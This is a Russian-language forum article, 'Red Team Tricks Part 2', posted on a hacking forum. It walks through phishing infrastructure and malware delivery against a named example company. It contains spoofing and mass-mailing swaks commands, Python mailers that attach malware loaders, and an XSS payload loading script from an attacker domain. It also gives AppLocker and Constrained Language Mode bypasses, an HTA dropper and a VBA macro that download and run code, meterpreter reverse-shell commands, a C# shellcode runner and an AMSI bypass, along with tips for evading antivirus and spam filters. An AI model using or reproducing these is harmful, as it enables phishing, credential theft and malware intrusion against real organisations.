Welcome!

By registering with us, you'll be able to discuss, share and private message with other members of our community.

SignUp Now!
  • Реклама на форуме платная! Обращаться к Admin.
    Произошла смена домена с maza.one на maza1.top!!!

Статья Хитрости Красной команды Ч.2

  • Автор темы Автор темы slavik
  • Дата начала Дата начала
Статьи форума

slavik

Cool Man
LV
0
 
Регистрация
Мар 23, 2023
Сообщения
57
Реакции
12
420a91d1-129f-4577-8cd4-a9301f9f4c38.png


Фишинговая среда

Почтовая служба


Для нашего сценария с тремя департаментами рекомендуется иметь как минимум два VPS и домена с SMTP и HTTP сервисами. Поскольку наша атака может быть заблокирована, лучше распределить риски. Название домена также может изменяться в зависимости от фишингового сценария — об этом будет сказано позже.

Провайдер VPS

Вы можете выбрать из множества провайдеров: AWS, Microsoft Azure, Digital Ocean, Vultr или Linode.

Вы можете воспользоваться сайтом сравнения VPS -поставщиков, чтобы ознакомиться с различиями между различными VPS и выбрать подходящий.

Лучше всего выбрать VPS в регионе, где расположена инфраструктура целевой компании. Кроме того, обратите внимание на открытые входящие и исходящие порты. Многие провайдеры блокируют возможность сразу запустить SMTP сервер. Одним из таких провайдеров является Digital Ocean (они разрешают только после 60 дней использования, при условии обращения в поддержку).

76e9908b-4884-4d3a-87b0-a35e6c74c3e5.png
76e9908b-4884-4d3a-87b0-a35e6c74c3e5.png

Выбор доменного имени

Существует множество техник выбора доменного имени для фишинговой атаки. Например, если вы нацелены на штаб-квартиру компании Afine, вы могли бы создать «новый сайт для управления» и использовать похожее доменное имя, такое как “management-afine.com”.

Другой техникой является typosquatting — замена буквы в доменном имени на похожую, например: “afime.com”. Отличным инструментом для этого является urlcrazy:

dnstwist --unregistered afine.com
250ee22d-b54c-4821-95b5-55b42a2b981d.png
250ee22d-b54c-4821-95b5-55b42a2b981d.png

Если вы нацелены на отдел продаж компании Afine, можно создать фальшивую компанию, работающую в той же отрасли или имеющую потребность в покупке или продаже их услуг. В этом случае доменное имя должно быть другим и вызывать больше доверия у жертвы, например, добавив аффикс «cyber» или «security» в доменное имя.

Наконец, можно приобрести доверенный домен, который истек, но перед этим следует проверить SEO доменного имени, чтобы понять, как оно категоризируется, используя одну из следующих услуг:

https://urlfiltering.paloaltonetworks.com/query/

0ff9c617-ae77-4413-818f-4d4aa9e84598.png
0ff9c617-ae77-4413-818f-4d4aa9e84598.png

7e5a0fdb-9684-40c7-b715-4f998a785292.png
7e5a0fdb-9684-40c7-b715-4f998a785292.png

Создание SMTP-сервера на VPS

1) Установить Postfix
:

sudo DEBIAN_PRIORITY=low apt install postfix
2) Настроить правила брандмауэра: Разрешить доступ для Postfix:

sudo ufw allow Postfix
3) Перезапустить Postfix:

service postfix restart
4) Установить почтовый клиент (swaks):

sudo apt install swaks
5) Установить имя хоста VPS на домен, который вы приобрели для атаки:

sudo hostnamectl set-hostname YOUR_DOMAIN
6) Установить имя хоста в /etc/hosts (например, management-afine.com): Откройте файл для редактирования:

sudo vi /etc/hosts
Добавьте строку:

127.0.1.1 management-afine.com

7) Защитить Postfix с помощью Let's Encrypt: Установить certbot:

sudo apt install certbot
Получить сертификат:

sudo certbot certonly --standalone -d YOUR_DOMAIN_NAME
Интерактивный скрипт конфигурации задает пользователю вопросы для обеспечения правильной настройки сертификатов:

  1. Выберите "Yes" для использования файла vhost по умолчанию и укажите настройки вручную.
  2. Введите доменное имя почтового сервера, например, mail.example.com.
  3. Необходимо ввести контактный адрес электронной почты при первой установке на любом конкретном хосте.
  4. Ознакомьтесь с условиями обслуживания Let’s Encrypt и выберите "Agree" для продолжения.
  5. Затем выберите, хотите ли вы использовать HTTP, HTTPS или требовать обязательное использование шифрования, выделив либо опцию "Easy", либо опцию "Secure", и выберите "OK".
  6. После завершения процесса сертификаты будут сохранены в директории /etc/letsencrypt/live/.
Вы можете добавить свои новые сертификаты в конфигурацию Postfix, используя следующие две команды. Замените <your.domain> на доменное имя вашего почтового сервера.

sudo postconf -e 'smtpd_tls_cert_file = /etc/letsencrypt/live/<your.domain>/fullchain.pem'
sudo postconf -e 'smtpd_tls_key_file = /etc/letsencrypt/live/<your.domain>/privkey.pem'
Пример рабочей конфигурации Postfix (измените домен в строке 41):

# See /usr/share/postfix/main.cf.dist for a commented, more complete version


# Debian specific: Specifying a file name will cause the first
# line of that file to be used as the name. The Debian default
# is /etc/mailname.
#myorigin = /etc/mailname

smtpd_banner = $myhostname ESMTP $mail_name (Ubuntu)
biff = no

# appending .domain is the MUA's job.
append_dot_mydomain = no

# Uncomment the next line to generate "delayed mail" warnings
#delay_warning_time = 4h

readme_directory = no

# See http://www.postfix.org/COMPATIBILITY_README.html -- default to 2 on
# fresh installs.
compatibility_level = 2



# TLS parameters
smtpd_tls_cert_file=/etc/ssl/certs/ssl-cert-snakeoil.pem
smtpd_tls_key_file=/etc/ssl/private/ssl-cert-snakeoil.key
smtpd_tls_security_level=may

smtp_tls_CApath=/etc/ssl/certs
smtp_tls_security_level=may
smtp_tls_session_cache_database = btree:${data_directory}/smtp_scache


smtpd_relay_restrictions = permit_mynetworks permit_sasl_authenticated defer_unauth_destination
myhostname = YOUR_DOMAIN
alias_maps = hash:/etc/aliases
alias_database = hash:/etc/aliases
myorigin = /etc/mailname
mydestination = $myhostname, YOUR_DOMAIN, www.YOUR_DOMAIN, localhost.YOUR_DOMAIN, localhost
relayhost =
mynetworks = 127.0.0.0/8 [::ffff:127.0.0.0]/104 [::1]/128
mailbox_size_limit = 0
recipient_delimiter = +
inet_interfaces = all
inet_protocols = all
local_recipient_maps =
Порт 25 заблокирован?

Не переживайте, если вы приобрели VPS, на котором невозможно отправлять электронные письма. Вы можете использовать сторонние сервисы, такие как SendGrid или Mailjet.

Укажите ваш домен на SendGrid.

dac9c1fe-486e-46bc-ae48-559b106a1a1c.png
dac9c1fe-486e-46bc-ae48-559b106a1a1c.png

Запустите SMTP-ретрансляцию.

e874e0aa-20c8-4c54-87a8-37f8adf05a6d.png
e874e0aa-20c8-4c54-87a8-37f8adf05a6d.png

abe681ab-d082-490d-9624-e48d21206be4.png
abe681ab-d082-490d-9624-e48d21206be4.png

Настройка Postfix:

1) Откройте файл конфигурации Postfix:

sudo vi /etc/postfix/main.cf
2) Добавьте или измените следующие строки:

smtp_sasl_auth_enable = yes
smtp_sasl_password_maps = hash:/etc/postfix/sasl_passwd
smtp_sasl_security_options = noanonymous
smtp_sasl_tls_security_options = noanonymous
smtp_tls_security_level = encrypt
header_size_limit = 4096000
relayhost = [smtp.sendgrid.net]:587
3) Перезапустите Postfix:

sudo service postfix restart
4) Создайте файл с паролем:

sudo vi /etc/postfix/sasl_passwd
Вставьте в файл:

[smtp.sendgrid.net]:587 apikey:YOUR_API_KEY

5) Выполните следующие команды для завершения конфигурации:

sudo chmod 600 /etc/postfix/sasl_passwd
sudo postmap /etc/postfix/sasl_passwd
sudo systemctl restart postfix
9def80da-5419-417c-a1db-ddae2c2509ec.png
9def80da-5419-417c-a1db-ddae2c2509ec.png

Пример полного конфигурационного файла (/etc/postfix/main.cf), не забудьте изменить домен в строках 37 и 41.

# See /usr/share/postfix/main.cf.dist for a commented, more complete version


# Debian specific: Specifying a file name will cause the first
# line of that file to be used as the name. The Debian default
# is /etc/mailname.
#myorigin = /etc/mailname

smtpd_banner = $myhostname ESMTP $mail_name (Ubuntu)
biff = no

# appending .domain is the MUA's job.
append_dot_mydomain = no

# Uncomment the next line to generate "delayed mail" warnings
#delay_warning_time = 4h

readme_directory = no

# See http://www.postfix.org/COMPATIBILITY_README.html -- default to 3.6 on
# fresh installs.
compatibility_level = 2



# TLS parameters
smtpd_tls_cert_file=/etc/ssl/certs/ssl-cert-snakeoil.pem
smtpd_tls_key_file=/etc/ssl/private/ssl-cert-snakeoil.key
smtpd_tls_security_level=may

smtp_tls_CApath=/etc/ssl/certs
#smtp_tls_security_level=may
smtp_tls_session_cache_database = btree:${data_directory}/smtp_scache


smtpd_relay_restrictions = permit_mynetworks permit_sasl_authenticated defer_unauth_destination
myhostname = YOUR_DOMAIN_NAME
alias_maps = hash:/etc/aliases
alias_database = hash:/etc/aliases
myorigin = /etc/mailname
mydestination = $myhostname, YOUR_DOMAIN_NAME, localhost
smtp_sasl_auth_enable = yes
smtp_sasl_password_maps = hash:/etc/postfix/sasl_passwd
smtp_sasl_security_options = noanonymous
smtp_sasl_tls_security_options = noanonymous
smtp_tls_security_level = encrypt
header_size_limit = 4096000
relayhost = [smtp.sendgrid.net]:587
mynetworks = 127.0.0.0/8 [::ffff:127.0.0.0]/104 [::1]/128
mailbox_size_limit = 0
recipient_delimiter = +
inet_interfaces = all
inet_protocols = all
home_mailbox =
И последнее, о чем следует упомянуть:

521a9738-0263-40e7-a35a-d71847ab50a2.png
521a9738-0263-40e7-a35a-d71847ab50a2.png

Доставка фишинговых сообщений с использованием Swaks:

Отправка тестового письма:


swaks -t [email protected] -f [email protected] -tls -s smtp.vps.com --header "Subject: test" --body "test"
Отправка HTML с помощью Swaks:

swaks --to [email protected] --from testk@TARGET --server TARGET --add-header "Content-Type: text/html" --body - < test.html >/dev/null
Отправка загрузчика:

swaks --body 'Click me http://management-afine.com/file.hta' --add-header "Content-Type: text/html" --header
"Subject: Important" -t [email protected] -f [email protected] --servermanagement-afine.com
Массовая рассылка по списку email-адресов:

for E in `cat /path/to/email/email_list.txt`
do
swaks --to $E --server test-server.example.com --quit-after RCPT --hide-all
[ $? -ne 0 ] && echo $E
done
Подмена домена:

swaks -f 'TARGET@TARGET_DOMAIN' --to 'XYZ@DOMAIN'
Использование HTML-контента в качестве тела письма:

Для добавления HTML-контента используйте опцию --add-header "Content-Type: text/html".

Заданиетемыписьма:

--header 'Subject: THIS_IS_IMPORTANT_MESSAGE_OPEN_PLEASE_KEK'
Отправка сообщения двум целям одновременно:

-t "TARGET_1@DOMAIN,TARGET_2@DOMAIN"
Подмена получателей DW (скрытая копия):

-t 'TARGET_1@DOMAIN' --header "To: TARGET_1@DOMAIN, TARGET_2@DOMAIN, TARGET_3@DOMAIN"
c61609ec-8948-47d9-aad7-f3a25f18d4cc.png
c61609ec-8948-47d9-aad7-f3a25f18d4cc.png

Отправка ЦЕПОЧКИ — двух списков слов параллельно с профилированным содержимым <TARGET>.html для каждого получателя

Пример реализации цепочки:


ATTACKER_1 => TARGET_1

ATTACKER_2 => TARGET_2 …

#!/bin/bash
while IFS= read -r sender && IFS= read -r receiver <&3
do
swaks --header 'Subject: TEMAT' -f "$sender" -t "$receiver" --add-header "Content-Type: text/html" --body - < "$receiver.html" >/dev/null
sleep 5
done < sender.txt 3<receiver.txt
Пример файла sender.txt:

ATTACKER_1@DOMAIN
ATTACKER_3@DOMAIN
ATTACKER_4@DOMAIN
ATTACKER_5@DOMAIN
Пример файла receiver.txt:

TARGET_1@DOMAIN
TARGET_2@DOMAIN
TARGET_3@DOMAIN
TARGET_4@DOMAIN
Отправка настраиваемого HTML с ZIP-файлом во вложении:

2c5e7c4b-d0d0-44e5-8043-05fa225fa726.png
2c5e7c4b-d0d0-44e5-8043-05fa225fa726.png

import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase
from email import encoders
from time import sleep

# Read the list of recipients from the file
with open('emails.txt', 'r') as f:
recipients = f.read().splitlines()

for recipient in recipients:
sender = 'SENDER@DOMAIN'
subject = 'Wyciek danych'
msg = MIMEMultipart()
msg['From'] = sender
msg['Subject'] = subject
with open(recipient+'.html', 'r') as f:
body = f.read()
# Add the HTML body to the email
msg.attach(MIMEText(body, 'html'))

# Add the attachment to the email
with open(recipient+'/sample.zip', 'rb') as f:
attachment = MIMEBase('application', 'zip', Name='attach.zip')
attachment.set_payload(f.read())
encoders.encode_base64(attachment)
attachment.add_header('Content-Disposition', 'attachment', filename='attach.zip')
msg.attach(attachment)

smtp_obj = smtplib.SMTP('DOMAIN')
msg['To'] = recipient
smtp_obj.sendmail(sender, recipient, msg.as_string())
smtp_obj.quit()
sleep(5)
Создание предлога для фишинга

Используйте знания, полученные из собранных данных, для построения правдоподобного сценария. У жертвы должна быть веская причина дочитать сообщение до конца и запустить вредоносный файл, который вы отправляете. Хорошей тактикой будет разбить атаку на несколько этапов. Шансы на успех значительно возрастут, если сначала отправить общее вопросное сообщение, дождаться ответа, а затем включить вредоносную ссылку в содержании вашего ответа.

502afebc-4f65-49e6-bf23-20088cb3b1ec.png
502afebc-4f65-49e6-bf23-20088cb3b1ec.png

Ниже приведены некоторые общие сценарии, которые можно использовать во время фишинговой кампании:

I. Информация об утечке данных – атака на IT-отдел Afine:


Содержание сообщения будет включать информацию об утечке данных сотрудников. Вложение sample.zip будет содержать загрузчик вредоносного ПО. Дополнительно будет указано, что информация была получена от ответственного за защиту данных в компании.

В конце сообщения можно попросить подтвердить, что данные действительно принадлежат сотрудникам, а также добавить, что данные зашифрованы, и указать пароль для доступа к ним — XYZ.

Включите ответственного за защиту данных в компании в скрытую копию (DW), используя ранее упомянутую технику добавления получателей без отправки сообщения им с помощью swaks:

-t 'TARGET_1@DOMAIN' --header "To: TARGET_1@DOMAIN, TARGET_2@DOMAIN, TARGET_3@DOMAIN"
Пример скрипта для автоматизации отправки почты:

import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase
from email import encoders
from time import sleep


# Read the list of recipients from the file
with open('emails.txt', 'r') as f:
recipients = f.read().splitlines()

for recipient in recipients:
sender = 'security@ATTACKER_COM'
subject = 'Data leak'
msg = MIMEMultipart()
msg['From'] = sender
msg['Subject'] = subject
with open(recipient+'.html', 'r') as f:
body = f.read()
# Add the HTML body to the email
msg.attach(MIMEText(body, 'html'))

# Add the attachment to the email
with open('/root/'+recipient+'/sample.zip', 'rb') as f:
attachment = MIMEBase('application', 'zip', Name='attach.zip')
attachment.set_payload(f.read())
encoders.encode_base64(attachment)
attachment.add_header('Content-Disposition', 'attachment', filename='attach.zip')
msg.attach(attachment)

smtp_obj = smtplib.SMTP('ATTACKER_COM')
msg['To'] = recipient
smtp_obj.sendmail(sender, recipient, msg.as_string())
smtp_obj.quit()
sleep(5)
II. Новый портал управления – атака на HR-отдел Afine:

Атака основывается на неправильно настроенной DMARC-записи и уязвимости Reflected Cross-Site Scripting (XSS), обнаруженной на странице:

https://afine.com?s="><script/src=https://management-afine.com/x.js />
На этом этапе XSS-скрипт подгружает внешний скрипт, который изменяет отображение сайта afine.com. Скрипт отображает панель входа, аналогичную панели входа на другом сайте компании Afine.

Электронное письмо будет отправлено с поддельного аккаунта IT-руководителя, ответственного за предыдущий портал, с использованием техники подделки отправителя (email spoofing):
swaks --from [email protected] --to [email protected]
Если пользователь заполнит поля «Имя пользователя» и «Пароль» и нажмет кнопку «Войти», его учетные данные будут отправлены на сервер, находящийся под контролем злоумышленника.

Пример скрипта для автоматизации отправки почты:

#!/bin/bash
for target_email in $(cat emails.txt)
do swaks --header 'Subject: New panel for communication with the HR department' -f [email protected] -t "$target_email" -s afine.com --add-header "Content-Type: text/html" --body - < "$target_email.html">/dev/null
sleep 5
done
III. Имитация другой компании для установления сотрудничества — атака на отдел продаж Afine.

В данной атаке требуется домен с названием компании, которую мы имитируем.

В содержании сообщения мы кратко описываем нашу компанию и прикрепляем ссылки на социальные сети, ранее подготовленные или подмененные на социальные сети другой компании, которую мы имитируем.

В конце сообщения добавляем ссылку, ведущую на сайт под нашим контролем, на котором подробно описано наше предложение услуг, и призываем к сотрудничеству.

Пример скрипта для автоматизированной отправки писем:

#!/bin/bash
for target_email in $(cat emails.txt)
do swaks --header 'Subject: Request for an offer - ATTACKER_COMPANY' -f sales@ATTACKER_COMPANY_COM -t "$target_email" -s ATTACKER_COMPANY_COM --add-header "Content-Type: text/html" --body - < "$target_email.html" >/dev/null
sleep 5
done
Описание процесса отправки фишинговых сообщений

Подготовьте инфраструктуру как минимум за месяц до проведения оценки.

Старые домены с меньшей вероятностью будут помечены как спам. Рассмотрите возможность использования других TLS-сертификатов, кроме Let’s Encrypt.

Сервисы, такие как AWS Certificate Manager, менее подозрительны. Вы можете использовать эту ссылку, чтобы ознакомиться с альтернативами.

Не используйте слишком длинные URL и подозрительные параметры, такие как ?attack= или ?phishing=.

То же касается файлов, которые вы отправляете жертве: их тип, размер и название имеют значение.

Перед отправкой фишинговых писем используйте Phishious для оценки, будет ли ваше письмо помечено как спам. Узнайте, как использовать этот сервис, ознакомившись с кратким 8-минутным руководством.

1c42a7db-6fe0-40cc-b54e-f75ffce267de.png
1c42a7db-6fe0-40cc-b54e-f75ffce267de.png

Дополнительно, вы можете использовать инструмент Mariusz Banach, известного как mgeeky, под названием decode-spam-headers.py, чтобы понять, почему конкретное письмо попало в СПАМ. Для использования инструмента сохраните письмо в формате EML или TXT, включая все заголовки, и примените инструмент к этому файлу.

68d56f2e-9a20-4df8-a26e-153365c2765b.png
68d56f2e-9a20-4df8-a26e-153365c2765b.png

python3 decode-spam-headers.py test.eml -f html -o report.html
  • Для вашего HTML-шаблона, используемого для отправки фишинговых писем, также следует использовать другой инструмент от mgeeky, называемый phishing-HTML-linter.py, который поможет вам выявить проблемы с вашим HTML-кодом, которые могут привести к блокировке вашего письма.
  • Рекомендуется реализовать некоторое ограничение при отправке писем, чтобы они отправлялись не чаще одного письма в час.
  • Наконец, если вы нацеливаетесь на различные департаменты компании, начните с чего-то, кроме IT. Если кто-то из них распознает атаку, он, вероятно, уведомит остальную часть компании, чтобы обратить внимание на фишинговые атаки, что повысит осведомленность и уменьшит шансы на успех.
II. Создание вредоносного ПО

Как и в случае с доставкой, существует множество способов создания вредоносного ПО.

В зависимости от операционной системы жертвы, вы можете использовать различные дропперы, которые загружают вредоносное ПО в разных форматах. Например, если вы выбрали канал передачи через чат, такой как Telegram, вам следует рассмотреть использование дроппера для Android/iOS вместо того, который использует PowerShell.

То же самое касается типа вредоносного ПО. Ваша атака не будет успешной, если вы отправите исполнимый файл Process Executable (PE) для системы Linux. Поэтому важно сначала провести разведку, так как это составляет 90% успеха, но оставшиеся 10% касаются выполнения вредоносного ПО.

Важно убедить жертву открыть доставленный файл, но наиболее важным моментом является то, чтобы антивирус не обнаружил дроппер.

AppLocker

В корпоративной среде вы часто будете сталкиваться с включенным AppLocker на целевых системах Windows.

AppLocker — это функция безопасности в операционных системах Windows, которая позволяет администраторам создавать правила на основе различных критериев, таких как путь к файлу, издатель, хеш файла или расширение файла. Эти правила определяют, разрешено ли приложение или файл для выполнения, и могут быть применены как на отдельных компьютерах, так и в пределах всей сетевой доменной среды.

Существует множество способов обхода AppLocker. Техника обхода зависит от конфигурации правил AppLocker. Ниже приведен список наиболее часто используемых методов обхода:

  • Разрешены (Microsoft-)подписанные двоичные файлы -> LOLBAS
  • Исполнимые файлы в каталоге Windows, как правило, разрешены.
  • Вы можете поместить двоичные файлы в:
Нет записываемых подкаталогов, но в каталоге существуют записываемые файлы -> запишите файл в альтернативный поток данных. Исполнение DLL не ограничено -> выполните DLL с помощью команды rundll32. Разрешены сторонние двоичные файлы:

  • Используйте Python.
  • Оберните JScript в HTA.
  • Запустите файлы XSL с помощью wmic. Правила AppLocker не применяются для локальных администраторов -> повысите свои привилегии.
Для более подробной информации ознакомьтесь с Ultimate AppLocker ByPass List.

Режимограниченногоязыка (Constrained Language Mode)

Еще одной функцией безопасности в Windows является режим ограниченного языка (CLM). В этом режиме определенные элементы языка и командлеты ограничены или отключены для предотвращения потенциальных уязвимостей безопасности. Например, доступ к файловой системе, реестру и сетевым ресурсам может быть ограничен. Также может быть ограничена возможность выполнения произвольных команд или загрузки внешних сборок.

C:\Windows\Tasks
C:\Windows\Temp
C:\windows\tracing
C:\Windows\Registration\CRMLog
C:\Windows\System32\FxsTmp
C:\Windows\System32\com\dmp
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
C:\Windows\System32\spool\PRINTERS
C:\Windows\System32\spool\SERVERS
C:\Windows\System32\spool\drivers\color
C:\Windows\System32\Tasks\Microsoft\Windows\SyncCenter
C:\Windows\System32\Tasks_Migrated (after peforming a version upgrade of Windows 10)
C:\Windows\SysWOW64\FxsTmp
C:\Windows\SysWOW64\com\dmp
C:\Windows\SysWOW64\Tasks\Microsoft\Windows\SyncCenter
C:\Windows\SysWOW64\Tasks\Microsoft\Windows\PLA\SystemЭта статья поможет вам получить начальный доступ к целевой системе во время проведения Red Team проекта. Она разделена на две части для удобства восприятия. Первая часть описывает использование OSINT для доставки вредоносного ПО, в основном для целевого фишинга. Во второй части рассматривается создание вредоносного ПО и применение методов обхода обнаружения. Мы надеемся, что эта статья будет для вас информативной и интересной!
Нет записываемых подкаталогов, но в каталоге существуют записываемые файлы -> запишите файл в альтернативный поток данных. Исполнение DLL не ограничено -> выполните DLL с помощью команды rundll32. Разрешены сторонние двоичные файлы:

  • Используйте Python.
  • Оберните JScript в HTA.
  • Запустите файлы XSL с помощью wmic. Правила AppLocker не применяются для локальных администраторов -> повысите свои привилегии.
Для более подробной информации ознакомьтесь с Ultimate AppLocker ByPass List.

Режимограниченногоязыка (Constrained Language Mode)

Еще одной функцией безопасности в Windows является режим ограниченного языка (CLM). В этом режиме определенные элементы языка и командлеты ограничены или отключены для предотвращения потенциальных уязвимостей безопасности. Например, доступ к файловой системе, реестру и сетевым ресурсам может быть ограничен. Также может быть ограничена возможность выполнения произвольных команд или загрузки внешних сборок.

Стандартным обходом этого режима является создание исполнимого файла, который выполняет сеанс PowerShell в полном режиме языка, даже когда включен режим ограниченного языка.

Более подробную информацию о CLM и проект Visual Studio для его обхода можно найти здесь.

Что такое дроппер?

Дроппер — это тип вредоносного ПО, отвечающий за доставку и установку вредоносных полезных нагрузок на систему жертвы. Он обычно действует как носитель или механизм доставки вредоносного кода.

Дроппер разрабатывается таким образом, чтобы избежать обнаружения, и часто использует различные методы обфускации для обхода мер безопасности. После того как дроппер успешно проникает в систему, он выполняет свою полезную нагрузку, включая различные вредоносные действия, такие как загрузка дополнительного вредоносного ПО, установление постоянства или инициирование других форм атак.

Дроппер для Windows

Учитывая, что в отделе продаж компании Afine могут быть применены наборы стандартных правил безопасности, мы создадим дроппер в формате HTA, который загружает исполнимый файл вредоносного ПО в директорию C:\Windows\Tasks, откуда он будет затем выполнен дроппером для активации второй стадии атаки, которая обеспечит обратное подключение.

Эта директория выбрана не случайно. По умолчанию операционная система Windows позволяет записывать файлы в нее и выполнять их оттуда.

Пример кода дроппера приведен ниже:

<html>
<head>
<script language="JScript">
var shell = new ActiveXObject("WScript.Shell");
var res = shell.Run("powershell iwr -uri 'https://management-afine.com/setup.exe' -Outfile C:\\Windows\\Tasks\\HOLLOW.exe;C:\\Windows\\Tasks\\setup.exe");
</script>
</head>
<body>
<script language="JScript">
self.close();
</script>
</body>
</html>
Проверка на обнаружение дроппера

К сожалению, сайт https://antiscan.me/ не поддерживает сканирование файлов .hta, но вы можете использовать другой формат, который принимается системой, чтобы обойти это ограничение. Это, конечно, не будет так точно, как с правильным форматом, но всегда стоит проверить, особенно если вы хотите проверить ELF бинарные файлы.

На экране ниже показано, что Microsoft Defender не обнаруживает наш дроппер:

bb5e8454-0066-4e1f-a57e-dd488f9f7ad5.png
bb5e8454-0066-4e1f-a57e-dd488f9f7ad5.png

Определенно есть место для улучшений, но основная цель — Windows Defender — чисто.

Одним из важнейших моментов, которые стоит отметить: не используйте VirusTotal, так как этот сервис обновляет базы данных антивирусов, что может помешать успешной атаке. Тем не менее, я не атакую никого здесь, и мне интересно, обнаружит ли VirusTotal файл platform.hta.

819b6b75-007a-411b-94b2-7519bbac0664.png
819b6b75-007a-411b-94b2-7519bbac0664.png

Я выбрал файл HTA, поскольку при двойном щелчке на файле с расширением ".hta" в стандартной системе Windows по умолчанию выполняется файл с помощью хоста HTML-приложений Windows (mshta.exe).

7429727a-b162-4dea-8b6f-317345113eca.png
7429727a-b162-4dea-8b6f-317345113eca.png

HTA (HTML Application) — это формат файла, который позволяет создавать приложения с использованием HTML, CSS и JavaScript. Файлы HTA предназначены для работы в операционных системах Windows и предоставляют способ создания пользовательских интерфейсов и выполнения различных задач с использованием веб-технологий.

d68e1ca9-9a9f-4ca4-bfa3-42e86ea7f72f.png
d68e1ca9-9a9f-4ca4-bfa3-42e86ea7f72f.png

Shellcode Runner

Shellcode Runner
— это инструмент, предназначенный для выполнения шеллкода на скомпрометированной системе. Он предоставляет необходимую среду и контекст для запуска шеллкода, который выполняет свои вредоносные действия.

Связь между дроппером и Shellcode Runner заключается в том, что основная цель дроппера — доставить и запустить Shellcode Runner.

В приведенном примере я использовал HTA-файл в качестве дроппера, в котором загруженный и выполненный setup.exe является Shellcode Runner.

Содержимое программы запуска Shellcode Runner от следующего:

  • Операционная система – должна быть совместима с операционной системой, используемой жертвой, такой как Windows, Linux, iOS и т.д.
  • Архитектура – должна быть совместима с архитектурой целевой системы, такой как x86, x64, ARM и т.д.
  • Технология внедрения – в зависимости от технологии внедрения, используемой для доставки шелл-кода, программа запуска шелл-кода может содержать дополнительный контент, специфичный для этой технологии. Например, если используется заполнение процесса, программа запуска шелл-кода должна включать необходимый код для создания целевого процесса и управления им.
  • Меры по предотвращению обнаружения – могут включать методы обхода или отключения антивирусных систем или систем обнаружения вторжений. Это может включать изменение системных настроек, отключение служб безопасности или использование других методов для вхождения в законные процессы и уклонения от обнаружения.
Пример запуска шелл-кода для фишинга:

Простой EXE

Может быть использован в сценарии HTA-спамер.

Генератор:

msfvenom -p windows/x64/meterpreter/reverse_https LHOST=$ip LPORT=443 -f csharp
Прослушиватель:

sudo msfconsole -x "use exploit/multi/handler;set payload windows/x64/meterpreter/reverse_https;set LHOST $ip;set LPORT 443; set exitfunc thread;run;"
Запуск (заменить шеллкод на 23-й строке):

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Diagnostics;
using System.Runtime.InteropServices;
namespace ConsoleApp1
{
class Program
{
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

[DllImport("kernel32.dll")]
static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize,IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

[DllImport("kernel32.dll")]
static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

static void Main(string[] args)
{
byte[] buf = new byte[630] { SHELLCODE_PLACEHOLDER };
int size = buf.Length;
IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);
Marshal.Copy(buf, 0, addr, size);
IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
WaitForSingleObject(hThread, 0xFFFFFFFF);
}
}
}
8b694a17-5b7a-4d11-870c-e48151354476.png
8b694a17-5b7a-4d11-870c-e48151354476.png

Совет – Указанный выше EXE Shellcode Runner может быть загружен с использованием PowerShell для выполнения в памяти:

$data = (New-Object System.Net.WebClient).DownloadData('http://$ip/shell.exe')
$assem = [System.Reflection.Assembly]::Load($data)
[rev.Program]::Main()
PowerShell с использованием рефлексии

Может быть использован, например, в сценарии Macro VBA для загрузки.

Dropper (для демонстрации простого примера – не обфусцирован, поэтому AV легко его обнаруживает. Ознакомьтесь с VBA Purge technique to obfuscate it ):

Sub MyMacro()
Dim str As String
str = "powershell (New-Object System.Net.WebClient).DownloadString('http://$ip/crimson.txt') | IEX"
Shell str, vbHide
End Sub

Sub Document_Open()
MyMacro
End Sub

Sub AutoOpen()
MyMacro
End Sub
Содержание amsi_bypass.txt:

$a = [Ref].Assembly.GetTypes()
ForEach($b in $a) {if ($b.Name -like '*iUtils') {$c = $b}}
$d = $c.GetFields('NonPublic,Static')
ForEach($e in $d) {if ($e.Name -like '*Failed') {$f = $e}}
$f.SetValue($null,$true)
85177446-f84a-4721-bc98-74dbe34f4bae.png
85177446-f84a-4721-bc98-74dbe34f4bae.png

Генератор:

msfvenom -pwindows/meterpreter/reverse_httpsLHOST=$ipLPORT=443 EXITFUNC=thread -fps1 -oshellcode.ps1
Слушатель:

sudo msfconsole -x "use exploit/multi/handler;set payload windows/x64/meterpreter/reverse_https;set LHOST $ip;set LPORT 443; set exitfunc thread;run;"
Runner (замените код оболочки в 23-й строке):

function LookupFunc {
Param ($moduleName, $functionName)
$assem = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object {
$_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
$tmp=@()
$assem.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}}
return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null,
@($moduleName)), $functionName))
}

function getDelegateType {
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,
[Parameter(Position = 1)] [Type] $delType = [Void]
)
$type = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')),[System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass',[System.MulticastDelegate])
$type.DefineConstructor('RTSpecialName, HideBySig, Public',[System.Reflection.CallingConventions]::Standard, $func).SetImplementationFlags('Runtime, Managed')
$type.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func).SetImplementationFlags('Runtime, Managed')
return $type.CreateType()
}

